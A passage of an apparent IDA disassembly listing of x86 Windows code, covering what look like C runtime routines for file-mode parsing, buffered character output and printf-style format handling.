		push	[ebp+arg_0]
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41ADB5


loc_41ADB1:				; CODE XREF: sub_41AC01+167j
					; sub_41AC01+16Dj
		mov	byte ptr [edi],	0Dh


loc_41ADB4:				; CODE XREF: sub_41AC01+199j
		inc	edi


loc_41ADB5:				; CODE XREF: sub_41AC01+11Ej
					; sub_41AC01+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41AD08
		jmp	short loc_41ADD3
; ---------------------------------------------------------------------------


loc_41ADC3:				; CODE XREF: sub_41AC01+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41ADD3
		or	al, 2
		mov	[esi], al


loc_41ADD3:				; CODE XREF: sub_41AC01+101j
					; sub_41AC01+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41ADD9:				; CODE XREF: sub_41AC01+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41ADF2
; ---------------------------------------------------------------------------


loc_41ADDE:				; CODE XREF: sub_41AC01+12j
					; sub_41AC01+39j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_41ADEF:				; CODE XREF: sub_41AC01+ABj
					; sub_41AC01+C3j
		or	eax, 0FFFFFFFFh


loc_41ADF2:				; CODE XREF: sub_41AC01+B7j
					; sub_41AC01+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AC01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADF7	proc near		; CODE XREF: sub_4178D8+106p
					; sub_417A3D+1Fp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4D874C
		test	eax, eax
		jz	short loc_41AE0F
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AE0F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AE0F:				; CODE XREF: sub_41ADF7+7j
					; sub_41ADF7+12j
		xor	eax, eax
		retn
sub_41ADF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE12	proc near		; CODE XREF: sub_4179F8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4D88B8
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41AE4B
		cmp	al, 72h
		jz	short loc_41AE44
		cmp	al, 77h
		jnz	loc_41AF5F
		mov	ecx, 301h
		jmp	short loc_41AE50
; ---------------------------------------------------------------------------


loc_41AE44:				; CODE XREF: sub_41AE12+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41AE53
; ---------------------------------------------------------------------------


loc_41AE4B:				; CODE XREF: sub_41AE12+1Dj
		mov	ecx, 109h


loc_41AE50:				; CODE XREF: sub_41AE12+30j
		or	esi, 2


loc_41AE53:				; CODE XREF: sub_41AE12+37j
		push	1
		pop	edx


loc_41AE56:				; CODE XREF: sub_41AE12+8Bj
					; sub_41AE12+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AF45
		cmp	edx, ebx
		jz	loc_41AF45
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AEE4
		jz	short loc_41AED4
		sub	eax, 2Bh
		jz	short loc_41AEBE
		sub	eax, 19h
		jz	short loc_41AEB4
		sub	eax, 0Eh
		jz	short loc_41AE9F
		dec	eax
		jnz	loc_41AF36
		cmp	[ebp+var_4], ebx
		jnz	loc_41AF36
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE12+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AF36
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AEB4:				; CODE XREF: sub_41AE12+6Aj
		test	cl, 40h
		jnz	short loc_41AF36
		or	ecx, 40h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AEBE:				; CODE XREF: sub_41AE12+65j
		test	cl, 2
		jnz	short loc_41AF36
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AED4:				; CODE XREF: sub_41AE12+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AF36
		or	ecx, eax
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AEE4:				; CODE XREF: sub_41AE12+5Ej
		sub	eax, 62h
		jz	short loc_41AF31
		dec	eax
		jz	short loc_41AF1A
		sub	eax, 0Bh
		jz	short loc_41AF03
		sub	eax, 6
		jnz	short loc_41AF36
		test	ch, 0C0h
		jnz	short loc_41AF36
		or	ch, 40h
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF03:				; CODE XREF: sub_41AE12+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AF36
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF1A:				; CODE XREF: sub_41AE12+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AF36
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF31:				; CODE XREF: sub_41AE12+D5j
		test	ch, 0C0h
		jz	short loc_41AF3D


loc_41AF36:				; CODE XREF: sub_41AE12+72j
					; sub_41AE12+7Bj ...
		xor	edx, edx
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF3D:				; CODE XREF: sub_41AE12+122j
		or	ch, 80h
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF45:				; CODE XREF: sub_41AE12+4Aj
					; sub_41AE12+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F514
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AF63


loc_41AF5F:				; CODE XREF: sub_41AE12+25j
		xor	eax, eax
		jmp	short loc_41AF7D
; ---------------------------------------------------------------------------


loc_41AF63:				; CODE XREF: sub_41AE12+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4D88B4
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41AF7D:				; CODE XREF: sub_41AE12+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AE12	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF82	proc near		; CODE XREF: sub_4179F8p
		mov	edx, dword_4D9A00
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AFF3
		mov	ebx, dword_4D89E0
		mov	edi, ebx


loc_41AF9E:				; CODE XREF: sub_41AF82+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AFB9
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AFB4
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AF9E
		jmp	short loc_41AFF3
; ---------------------------------------------------------------------------


loc_41AFB4:				; CODE XREF: sub_41AF82+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AFDD
; ---------------------------------------------------------------------------


loc_41AFB9:				; CODE XREF: sub_41AF82+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417A2B
		pop	ecx
		mov	ecx, dword_4D89E0
		mov	[edi+ecx], eax
		mov	eax, dword_4D89E0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AFF3
		mov	esi, edi


loc_41AFDD:				; CODE XREF: sub_41AF82+35j
		cmp	esi, ebp
		jz	short loc_41AFF3
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41AFF3:				; CODE XREF: sub_41AF82+12j
					; sub_41AF82+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AF82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFFA	proc near		; CODE XREF: sub_417BFE+17p
					; sub_417BFE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41B018
		mov	ecx, off_43AB80
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41B06A
; ---------------------------------------------------------------------------


loc_41B018:				; CODE XREF: sub_41AFFA+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43AB80
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41B03D
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41B046
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFFA+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41B046:				; CODE XREF: sub_41AFFA+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41F7CD
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41B066
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B066:				; CODE XREF: sub_41AFFA+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41B06A:				; CODE XREF: sub_41AFFA+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41AFFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B06F	proc near		; CODE XREF: sub_417D96+46p
					; sub_417E90+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41B178
		test	al, 40h
		jnz	loc_41B178
		test	al, 1
		jz	short loc_41B0A7
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41B178
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41B0A7:				; CODE XREF: sub_41B06F+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B0E1
		cmp	esi, offset dword_43B298
		jz	short loc_41B0CF
		cmp	esi, offset dword_43B2B8
		jnz	short loc_41B0DA


loc_41B0CF:				; CODE XREF: sub_41B06F+56j
		push	ebx
		call	sub_41F916
		test	eax, eax
		pop	ecx
		jnz	short loc_41B0E1


loc_41B0DA:				; CODE XREF: sub_41B06F+5Ej
		push	esi
		call	sub_41F4D0
		pop	ecx


loc_41B0E1:				; CODE XREF: sub_41B06F+4Ej
					; sub_41B06F+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41B14E
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41B111
		push	edi
		push	eax
		push	ebx
		call	sub_41F26A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41B144
; ---------------------------------------------------------------------------


loc_41B111:				; CODE XREF: sub_41B06F+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41B12C
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41B131
; ---------------------------------------------------------------------------


loc_41B12C:				; CODE XREF: sub_41B06F+A5j
		mov	eax, offset dword_43B1E0


loc_41B131:				; CODE XREF: sub_41B06F+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41B144
		push	2
		push	0
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch


loc_41B144:				; CODE XREF: sub_41B06F+A0j
					; sub_41B06F+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41B162
; ---------------------------------------------------------------------------


loc_41B14E:				; CODE XREF: sub_41B06F+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41F26A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41B162:				; CODE XREF: sub_41B06F+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41B16E
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41B17D
; ---------------------------------------------------------------------------


loc_41B16E:				; CODE XREF: sub_41B06F+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41B180
; ---------------------------------------------------------------------------


loc_41B178:				; CODE XREF: sub_41B06F+10j
					; sub_41B06F+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41B17D:				; CODE XREF: sub_41B06F+FDj
		or	eax, 0FFFFFFFFh


loc_41B180:				; CODE XREF: sub_41B06F+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41B06F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B184	proc near		; CODE XREF: sub_417D96+29p
					; sub_417E90+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41B89D
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41B1B8
; ---------------------------------------------------------------------------


loc_41B1B0:				; CODE XREF: sub_41B184+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41B1B8:				; CODE XREF: sub_41B184+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41B89D
		cmp	bl, 20h
		jl	short loc_41B1D9
		cmp	bl, 78h
		jg	short loc_41B1D9
		movsx	eax, bl
		mov	al, byte ptr flt_4236F4[eax]
		and	eax, 0Fh
		jmp	short loc_41B1DB
; ---------------------------------------------------------------------------


loc_41B1D9:				; CODE XREF: sub_41B184+40j
					; sub_41B184+45j
		xor	eax, eax


loc_41B1DB:				; CODE XREF: sub_41B184+53j
		movsx	eax, byte_423714[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41B88C	; default
		jmp	off_41B8A5[eax*4] ; switch jump


loc_41B1F9:				; DATA XREF: nsp0:off_41B8A5o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041B1F2 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B214:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: nsp0:off_41B8A5o
		movsx	eax, bl		; jumptable 0041B1F2 case 2
		sub	eax, 20h
		jz	short loc_41B257
		sub	eax, 3
		jz	short loc_41B24E
		sub	eax, 8
		jz	short loc_41B245
		dec	eax
		dec	eax
		jz	short loc_41B23C
		sub	eax, 3
		jnz	loc_41B88C	; default
		or	[ebp+var_4], 8
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B23C:				; CODE XREF: sub_41B184+A4j
		or	[ebp+var_4], 4
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B245:				; CODE XREF: sub_41B184+A0j
		or	[ebp+var_4], 1
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B24E:				; CODE XREF: sub_41B184+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B257:				; CODE XREF: sub_41B184+96j
		or	[ebp+var_4], 2
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B260:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: nsp0:off_41B8A5o
		cmp	bl, 2Ah		; jumptable 0041B1F2 case 3
		jnz	short loc_41B288
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41B88C	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41B280:				; CODE XREF: sub_41B184+111j
		mov	[ebp+var_20], eax
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B288:				; CODE XREF: sub_41B184+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41B280
; ---------------------------------------------------------------------------


loc_41B297:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: nsp0:off_41B8A5o
		mov	[ebp+var_10], edx ; jumptable 0041B1F2 case 4
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B29F:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: nsp0:off_41B8A5o
		cmp	bl, 2Ah		; jumptable 0041B1F2 case 5
		jnz	short loc_41B2C2
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41B88C	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2C2:				; CODE XREF: sub_41B184+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2D4:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: nsp0:off_41B8A5o
		cmp	bl, 49h		; jumptable 0041B1F2 case 6
		jz	short loc_41B307
		cmp	bl, 68h
		jz	short loc_41B2FE
		cmp	bl, 6Ch
		jz	short loc_41B2F5
		cmp	bl, 77h
		jnz	loc_41B88C	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2F5:				; CODE XREF: sub_41B184+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2FE:				; CODE XREF: sub_41B184+158j
		or	[ebp+var_4], 20h
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B307:				; CODE XREF: sub_41B184+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41B320
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41B320
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B320:				; CODE XREF: sub_41B184+186j
					; sub_41B184+18Cj
		mov	[ebp+var_30], edx


loc_41B323:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: nsp0:off_41B8A5o
		mov	ecx, off_43AB80	; jumptable 0041B1F2 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B34F
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41B8C5
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41B34F:				; CODE XREF: sub_41B184+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41B8C5
		add	esp, 0Ch
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B367:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: nsp0:off_41B8A5o
		movsx	eax, bl		; jumptable 0041B1F2 case 7
		cmp	eax, 67h
		jg	loc_41B58F
		cmp	eax, 65h
		jge	loc_41B412
		cmp	eax, 58h
		jg	loc_41B470
		jz	loc_41B603
		sub	eax, 43h
		jz	loc_41B433
		dec	eax
		dec	eax
		jz	short loc_41B408
		dec	eax
		dec	eax
		jz	short loc_41B408
		sub	eax, 0Ch
		jnz	loc_41B78E
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41B3B1
		or	byte ptr [ebp+var_4+1],	8


loc_41B3B1:				; CODE XREF: sub_41B184+227j
					; sub_41B184+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41B3BE
		mov	esi, 7FFFFFFFh


loc_41B3BE:				; CODE XREF: sub_41B184+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41B5D7
		test	ecx, ecx
		jnz	short loc_41B3E6
		mov	ecx, off_43AD9C
		mov	[ebp+var_8], ecx


loc_41B3E6:				; CODE XREF: sub_41B184+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41B3EF:				; CODE XREF: sub_41B184+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41B5CE
		cmp	word ptr [eax],	0
		jz	loc_41B5CE
		inc	eax
		inc	eax
		jmp	short loc_41B3EF
; ---------------------------------------------------------------------------


loc_41B408:				; CODE XREF: sub_41B184+212j
					; sub_41B184+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41B412:				; CODE XREF: sub_41B184+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41B4F6
		mov	[ebp+var_10], 6
		jmp	loc_41B504
; ---------------------------------------------------------------------------


loc_41B433:				; CODE XREF: sub_41B184+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41B43F
		or	byte ptr [ebp+var_4+1],	8


loc_41B43F:				; CODE XREF: sub_41B184+2B5j
					; sub_41B184+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B486
		call	sub_41B980
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41F93C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41B499
		mov	[ebp+var_28], 1
		jmp	short loc_41B499
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: sub_41B184+1FBj
		sub	eax, 5Ah
		jz	short loc_41B4A7
		sub	eax, 9
		jz	short loc_41B43F
		dec	eax
		jz	loc_41B669
		jmp	loc_41B78E
; ---------------------------------------------------------------------------


loc_41B486:				; CODE XREF: sub_41B184+2C5j
		call	sub_41B963
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41B499:				; CODE XREF: sub_41B184+2E1j
					; sub_41B184+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41B78E
; ---------------------------------------------------------------------------


loc_41B4A7:				; CODE XREF: sub_41B184+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	eax, eax
		pop	ecx
		jz	short loc_41B4E8
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41B4E8
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41B4D9
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41B78E
; ---------------------------------------------------------------------------


loc_41B4D9:				; CODE XREF: sub_41B184+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B4E8:				; CODE XREF: sub_41B184+32Fj
					; sub_41B184+336j
		mov	eax, off_43AD98
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41B584
; ---------------------------------------------------------------------------


loc_41B4F6:				; CODE XREF: sub_41B184+29Dj
		jnz	short loc_41B504
		cmp	bl, 67h
		jnz	short loc_41B504
		mov	[ebp+var_10], 1


loc_41B504:				; CODE XREF: sub_41B184+2AAj
					; sub_41B184:loc_41B4F6j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B128
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41B556
		cmp	[ebp+var_10], 0
		jnz	short loc_41B556
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B134
		pop	ecx


loc_41B556:				; CODE XREF: sub_41B184+3BCj
					; sub_41B184+3C2j
		cmp	bl, 67h
		jnz	short loc_41B56D
		test	esi, esi
		jnz	short loc_41B56D
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B12C
		pop	ecx


loc_41B56D:				; CODE XREF: sub_41B184+3D5j
					; sub_41B184+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41B583
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41B583:				; CODE XREF: sub_41B184+3F0j
		push	edi


loc_41B584:				; CODE XREF: sub_41B184+36Dj
		call	sub_4176F0
		pop	ecx
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B58F:				; CODE XREF: sub_41B184+1E9j
		sub	eax, 69h
		jz	loc_41B669
		sub	eax, 5
		jz	loc_41B63F
		dec	eax
		jz	loc_41B62C
		dec	eax
		jz	short loc_41B5FC
		sub	eax, 3
		jz	loc_41B3B1
		dec	eax
		dec	eax
		jz	loc_41B66D
		sub	eax, 3
		jnz	loc_41B78E
		mov	[ebp+var_2C], 27h
		jmp	short loc_41B60A
; ---------------------------------------------------------------------------


loc_41B5CE:				; CODE XREF: sub_41B184+270j
					; sub_41B184+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B5D7:				; CODE XREF: sub_41B184+24Fj
		test	ecx, ecx
		jnz	short loc_41B5E4
		mov	ecx, off_43AD98
		mov	[ebp+var_8], ecx


loc_41B5E4:				; CODE XREF: sub_41B184+455j
		mov	eax, ecx


loc_41B5E6:				; CODE XREF: sub_41B184+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41B5F5
		cmp	byte ptr [eax],	0
		jz	short loc_41B5F5
		inc	eax
		jmp	short loc_41B5E6
; ---------------------------------------------------------------------------


loc_41B5F5:				; CODE XREF: sub_41B184+467j
					; sub_41B184+46Cj
		sub	eax, ecx
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B5FC:				; CODE XREF: sub_41B184+425j
		mov	[ebp+var_10], 8


loc_41B603:				; CODE XREF: sub_41B184+201j
		mov	[ebp+var_2C], 7


loc_41B60A:				; CODE XREF: sub_41B184+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41B674
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B62C:				; CODE XREF: sub_41B184+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
